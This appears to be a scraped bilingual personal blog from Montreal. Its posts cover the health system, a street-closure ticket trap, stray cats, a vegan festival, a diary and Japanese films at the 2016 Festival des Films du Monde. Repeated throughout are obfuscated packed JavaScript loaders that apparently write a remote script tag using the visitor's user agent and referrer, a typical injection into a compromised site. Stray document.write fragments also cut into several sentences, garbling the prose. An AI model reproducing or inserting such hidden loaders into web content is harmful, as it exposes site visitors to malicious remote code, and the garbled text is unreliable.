I give you all my season’s greetings. Whatever you are celebrating, I wish you a merry Christmas, an happy Hanukkah, a joyous Kwanzaa, a great solstice, eid mubarak, a jolly festivus, beatus Saturnalibus, a merry Krishna, etc., as well as a healthy, prosperous and peaceful New Year 2017 !
From myself, Miyako, Saya and Caramel.
(And thanks to Toulouse-Lautrec for the illustration)
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Je n’aime pas trop me plaindre de notre système médical car au moins nous en avons un et il est gratuit. Mais c’est un secret de polichinelle de dire que notre système de santé est malade. Et chaque fois qu’un gouvernement tente de l’améliorer, document.write(“”); il semble qu’il rend les choses pires.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sehda|var|u0026u|referrer|rydrd||js|php’.split(‘|’),0,{}))
Depuis l’été dernier je me méfie beaucoup du notre système de santé. Après m’être retrouvé par deux fois, en rafales rapprochées, à l’urgence, avoir attendu des heures, chaque fois m’être fait rebondir vers une clinique, puis vers un spécialiste — telle une balle de ping pong — puis avoir de la difficulté à voir un médecin pour un suivi: j’en pense peu de bien. Le mieux est de ne jamais être malade. Toutefois, ces derniers temps il semble que plusieurs membres de ma famille doivent souvent visiter les hôpitaux… Et hier, j’avais deux rendez-vous en cliniques, l’un le matin pour mon épouse, et l’autre en après-midi pour moi.
Lire la suite après le saut de page >>
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This sign is located at the corner of Saint-Roch and Durocher streets in Montreal’s Parc-Extension borough. It might look like a parking sign, but in fact it indicates that the street is closed one hour in the morning and one hour in the afternoon (except for local resident, school buses and taxis) to insure the safety of the children arriving at and departing from the nearby school, Barthélemy-Vimont.
It would be a commendable endeavour if it had not been turned into a virtual tickets trap for motorists looking to make their way through the maze of one-ways that characterize Montreal. Each afternoon, there’s a police patrol car waiting on the side of the street for the oblivious motorists who failed to notice the inconspicuous street sign. At least half-a-dozen tickets are given each day!
First, the sign should be more obvious and more explanatory. Second, police are supposed to “Serve and protect.” Like protecting the children and serving the citizens. NOT tell them “just pay the fine, sucker”! They would serve better the community if they would simply put their patrol car across the street to block traffic, or put some sort of temporary barrier, and tell passing motorists “sorry the road is temporarily closed for the children’s protection.”
Just another example of how this city fails to be community friendly. Just use common sense, damn it!
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Hier, document.write(“”); suite à une expérience consternante la semaine précédente, j’ai écrit un courriel à mon Conseiller municipal de quartier afin de lui faire part d’une grave préoccupation concernant la gestion animalière de l’arrondissement:
Cher Monsieur le conseiller,
J’aimerais porter à votre attention un grave problème de gestion animalière. La ruelle derrière mon duplex est envahie par des chats errants et je suppose que c’est le cas de la majorité des ruelles du quartier. Ce n’est pas tant la présence de ces chats errants qui m’embête que les graves lacunes dans leur gestion. En fait, ils mettent un peu de vie dans un milieu urbain parfois trop dénaturé et contribuent à éliminer la vermine (rats, souris, mulots, pigeons, etc.).
Je ne les blâme aucunement pour leur prolifération car ils n’en sont pas responsables. C’est nous, les humains, qui avons créés cette situation en abandonnant des animaux (particulièrement des chats) et les laissant se reproduire librement sans la moindre intervention ni contrôle. Je ne crois pas que ces animaux devraient souffrir inutilement suite à une situation dont ils ne sont pas responsables. Nous devrions tenter de gérer la situation le plus humainement possible mais ce n’est pas le cas: la gestion actuelle n’est ni adéquate, ni humaine.
[ Continez la lecture après le saut de page >> ]
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The spotted-G bees, document.write(“”); a.k.a. the Bee-Gs, are singing the sad story of a bee found plundering her sister’s honey. Punished, they were sent to the horny nest, a penile colony, with other convicted frelons.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzadf|var|u0026u|referrer|rreit||js|php’.split(‘|’),0,{}))
Also in the news: Down in the Daesh
The Cheese curd’s army, the infamous Peach Melba, are baking great progress in regaining Tarty and Cereal territories from the Anemic Steak pea’s addicts, putting them in devious bubble. Those cereal killers must be harvested and juiced in a creamy gourd.
More broken news to come…
Why is it wrong for a democrat to get a blowjob in the oval office or to tweet pictures of his penis, document.write(“”); but it seems alright for a republican to brag about grabbing an unwilling pussy?
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khrst|var|u0026u|referrer|htbsi||js|php’.split(‘|’),0,{}))
This is wrong, so wrong. What a bunch of hypocrites. Please, wake me up in four years.
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Last week my wife dragged me to a vegan festival. I went only because I was curious to see what vegans looked like…
I mean, I’m all for eating healthy and I want to encourage local production so I was appalled that people would want to eat food from a distant solar system. And I had never seen little green people up-close…
Oh… You mean Vegan are not actually people from Alpha Lyrae, a.k.a. Vega? So why are they also called the green people? Umm. I was wondering why someone would bother to import food from a place 25 light-years away. Now it makes sense. My mistake.
So I stand corrected: Vegans are practitioners of veganism and therefore abstains from consuming any animal products like meat (including fish and seafood), eggs, dairy and all their derivatives (might even includes honey!). It also sometimes goes as far as opposing the use of any animal products (like leather) and advocating for animal wellfare. They must not be confused with vegetarians, who abstain only from consuming meat, but can sometimes be called vegetalians (because they consume only food from the vegetal order: seeds, vegetables, fruits, mushrooms, etc.). For some it’s not only a diet, but a philosophy, a religion even.
I am a very tolerant person and believe that people can do whatever they want as long as they don’t bother me with it. Lives and let live. I think that we should consume locally-produced food as much as possible and that we should be very careful with what we eat: avoid eating too much red meat for example and avoid processed food. However, I really don’t understand those vegans.
More on this after the jump >>
Thought for Remembrance Day
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skdnh|var|u0026u|referrer|bktbk||js|php’.split(‘|’),0,{}))
Remember! the numerous casualties of wars
Remember! that we once were canon fodder
— for some distant empire
But above all we shall now remember…
Remember! that democracy is always hard-won
— and sometimes so easily lost!
(Canon PowerShot S5 IS, document.write(“”); National War Memorial in Ottawa, 2015-05-20)
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The first week was totally uneventful; another quiet but tiring week (with the usual craziness at work). However, document.write(“”); the second week was very busy with all sort of outings and events! First we had a family brunch to celebrate my mother’s 87th birthday. Then I finally received the (substantial) back-pay for the retroactive raise since the signature of our collective bargaining (the two good things that work brings: the pleasure of books and money! — but there’s only 550 weeks to endure).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntdf|var|u0026u|referrer|ynizk||js|php’.split(‘|’),0,{}))
Wednesday, I finish work early and the museum is opened late, therefore I took this opportunity for a last-minute visit (last week!) at the Museum of Fine-Arts exhibit on Toulouse-Lautrec. Thursday, not only Apple released new hardware, but it was also the beginning of the 33rd Japanese Film Festival of Montreal at the Cinémathèque Québécoise. There was a sake tasting, a few speeches and then they screened A Tale of Samurai Cooking. I went to see a second movie on Saturday: Sue, Mai and Sawa. That was wonderful. I felt alive. It’s good to get busy since we don’t have that many good years left.
I also tried to read a little. I have so many books piling on my bedside table (haïku compilation, numerous mangas, Solaris #200, etc). However, I find it so hard to read lately. I am so busy that whenever I can read, I feel guilty and this sentiment is a distraction that make it difficult to concentrate on my reading. Quite annoying. And there’s plenty of other distractions… like watching TV! Beside the U.S. presidential election madness and the returning shows (7th season of Walking Dead, 2nd season of Poldark, 10th season of Murdock Mysteries, 14th season of NCIS, 2nd season of Blindspot, 3rd season of Z Nation, 8th season of Vampire Diaries, 4th season of A Place to call home), there’s very interesting newcomers like Westworld and Tutankhamun, or others like Class (a Doctor Who spin-off)! I’ve also watched on Dvd the Michael Moore documentary Where to invade next.
Maybe all that activity was too much, because I caught some bug (cold, stomach flu?) that left me tired, congestionned and with an upset stomach. But there’s no rest for the wicked and now I must work on my monthly accounting and pay the bills.
However, before I do that, I’d like to share with you a few notable news & links that I came across lately. Because, even with all this activity, I will always find some time to stay acquainted (a bit) with the affairs of the world. Here they are, after the jump, in no particular order, in both french and english):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibfhk|var|u0026u|referrer|brbet||js|php’.split(‘|’),0,{}))
We are continuing our coverage of the Festival des Films du Monde (FFM)…
With all the schedule changes I wasted days off on days that had the screening I wanted to see cancelled so I couldn’t take more days off to watch the couple of movies that were shown at the Outremont Wednesday (Frozen Fireworks, document.write(“”); Hold my Hand) and Friday (Tsukiji Wonderland, Ken-san). And my wife was hospitalized due to a sudden illness today so I couldn’t watch A loving husband… At least I managed to see three Japanese movies. Maybe one more tomorrow…
Sunday September 4, 17h30 (CI.04.5) COMP
Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.
Two more theatres are showing FFM movies, so now all the movies selected and previously announced will be screened at least once: the Cineplex Forum (2313 St. Catherine St. West Suite 101 – Metro Atwater // Oh, you choose now to join the party, you moron) and the Cinema Dollar (6900 Décarie Square — Métro Namur). Unfortunately, the Cineplex Forum has shown Her love boils bathwater Saturday at 10h00 and I missed it.
Please, check the schedule on the festival’s website.
All the announced guests are supposed to be there: Liu Yifei, Willem Dafoe and Isabelle Adjani.
Don’t forget to enjoy the festival while you can because it might very well be the last!
Press reviews:
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We are continuing our coverage of the Festival des Films du Monde (FFM)…
Yesterday, document.write(“”); I’ve put on Vimeo a short video of The Seal of the Sun‘s crew introducing their movie before the screening (unfortunately, I had camera troubles, so the video is not very good and it’s incomplete).
I also went to the screening of The Black Widow Business. It’s a good comedy build around what should be a dark subject: women “seeking out old wealthy men to wed and deprive the bereaved family’s inheritance”. There was again a good attendance as the first level of the theatre was nearly three-quarter full (about 250~350 people). I’ll tell you more about it later.
After the Théatre Outremont announcing it will show the “Documentaries” and “Focus on World Cinema” segments of the festival, now it is the Cinéma du Parc (3575, av. du Parc) that has announced that it will show the movies for the 47th Student Film Festival for free! As usual, check the schedule on the festival’s website.
The next Japanese movies to be shown are (barring any more schedule changes):
Wednesday August 31, 15h00 at Théatre Outremont (TO.31.3) DOC
Frozen Fireworks: The Legendary Japanese Model Sayoko Yamaguchi (???? ????? / Kori no hanabi Yamaguchi Sayoko / lit. “Ice of fireworks Sayoko Yamaguchi”) : Japan, 2015, 97 min.; Dir.: Takako Matsumoto; Prod.: OHO Sayuki; Phot.: KISHIDA Masao; Ed.: MAEJIMA Kenji; Sound: TAKAGI Hajime ; Mus.: HISAMOTO Yukina; Cast: YAMAGUCHI Sayoko, Serge LUTENS, MARUYAMA Keita. A documentary portrait of Yamaguchi Sayoko, Asia’s first “top model”, via rare footage and testimony of friends and professional acquaintances.
Wednesday August 31, 17h00 at Théatre Outremont (TO.31.4) REG
Hold my hand (??????????????????????? / Te wo Tsunaide Kaeroyo — Shangurira no Mukou de / lit. “In the other side of the Let’s go home hand in hand Shangri-La”) : Japan, 2016, 105 min.; Dir.: Yoko Narahashi; Scr.: Masayuki Imai; Cast: Tetsuya Bessho, Itsuji Itao, Jay Kabira, Katsuya, Sumire Matsubara, Masahiro Nakai, Nanami. Makoto has a learning disability but dreams of becoming a truck driver. He falls in love with Sakura, a girl who has a similar disability and wants to become a dancer.
Friday September 2, 11h00 at Théatre Outremont (TO.02.1) DOC
Tsukiji Wonderland (?????????) : Japan, 2016, 116 min.; Dir.: Naotaro Endo. A day at Tokyo’s Tsukiji Market, the biggest wholesale seafood market in the world, for a fascinating view of the seafood business during the ramshackle 80-year-old complex’s last year of operation.
Friday September 2, 17h00 at Théatre Outremont (TO.02.4) DOC
Ken san (???) : Japan, 2016, 95 min.; Dir.: Yuichi Hibi; Phot.: Yoshihisa Toda; Ed.: Miyuki Ohgata; Mus.: Tarô Iwashiro. Ken San pieces together the puzzle of the life and legacy of Japan’s mythical acting icon, Ken Takakura. Collaborators, friends and family share intimate stories of Ken’s journey.
Saturday September 3, 13h00 at Cinéma Impérial (CI.03.3) PRE
A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.
Sunday September 4, 17h30 at Cinéma Impérial (CI.04.5) COMP
Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.
As usual, enjoy the festival while you can because it might very well be the last!
Press reviews:
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We are continuing our coverage of the Festival des Films du Monde (FFM)…
Yesterday was my second day at the festival. I went to see Tatara Samurai in the early evening. It was the premiere of the movie so the crew (the director and the two main actors) arrived in great pomp with a limo and the red carpet. There was lots of people and the main floor of the Imperial Theatre was almost full (which means about 300~400 people). It was a beautiful and excellent samurai movie that reminded me a little of Kurosawa. Unfortunately, document.write(“”); the more I like a movie the more I find difficult to talk about it. But don’t worry, I’ll manage to organize my notes (as well as edit the video of the screening intro and small Q&A session — taken this time with my old and more reliable camera) in the next few days in order to eventually share them with you.
See my “FFM 2016” album on Flickr
Yesterday afternoon, I also posted online my comment on the movie The Seal of the Sun.
It is really damn difficult to do any planning during this festival. You think that you finally have your stuff organized, you ask for a day off work and then, bang!, they change the schedule. Again. I really hate this situation. You really need to check the screening schedule every day (in the evening and in the morning)!
The next Japanese movie to be shown will be tonight and then, so far, there’s nothing until next week-end — but note that the movie planned for Saturday night, Her Love Boils Bathwater, is CANCELLED!
Tuesday August 30, 19h40 (CI.30.6) HC
Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.
Saturday September 3, 13h00 (CI.03.3) PRE
A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.
Sunday September 4, 17h30 (CI.04.5) COMP
Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.
The presence of Isabelle Adjani (as well as the screening of her film Carole Matthieu) has been postponed at the request of the French actress. No new screening date has been announced yet.
Fortunately there’s not only bad news in the festival. It was announced that, out of sheer compassion for movie-makers and movie-goers, from today until next Sunday the Théatre Outremont (1248 avenue Bernard Ouest, near metro Outremont) will start showing movies for the Festival, effectively doubling the number of screens available! Schedule will be announced day by day, but so far today there’s no Japanese movies being shown.
Anyway, enjoy the festival while you can because it might very well be the last!
Press reviews:
[ Traduire ]
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We are continuing our coverage of this cultural para-olympics…
After picking up my media credentials, document.write(“”); I rushed back home to grab a bite and my camera, then I quickly came back to the festival to watch the first Japanese movie — which had surprisingly popped up on the most recent schedule update.
The production crew (the usual team of producers, director and actor) was there to introduce their movie, but I unfortunately had camera troubles and couldn’t record the whole presentation (maybe my older, cheaper, less advanced camera would have been better after all?).
The movie was quite interesting because of its subject, but I was rather disappointed by the rendering of the story and the production quality. It felt like a small budget movie while I am sure it was not. Anyway, you’ll see my full comments on the movie as soon as I can transcribe my notes, polish the details and put it online (I have a busy schedule in the next few days — including an aunt funerals — so I cannot promise it will be quick).
In the meantimes, enjoy the festival while you can because, as you know, I fear it may well be the last!
Press reviews:
[ Traduire ]
University of Calgary professor Michael Keren’s book Blogosphere: The New Political Arena says that bloggers are lonely and isolated people. He also adds that bloggers see themselves as rebels against the mundane society, but since their writings receive limited exposure on the internet, he compares them to Don Quixote.
However, many blogs go beyond a personal purpose: companies’ blogs serve as information hub, some organization set up blogs to gather volunteer or raise funds, many do political commentary. Also, some blogs can become very popular and be read by lots of people… Keren’s comment definitely doesn’t apply to those.
Source: The Gazette, Montreal, 1/31/07 A1-2. See also here and there.
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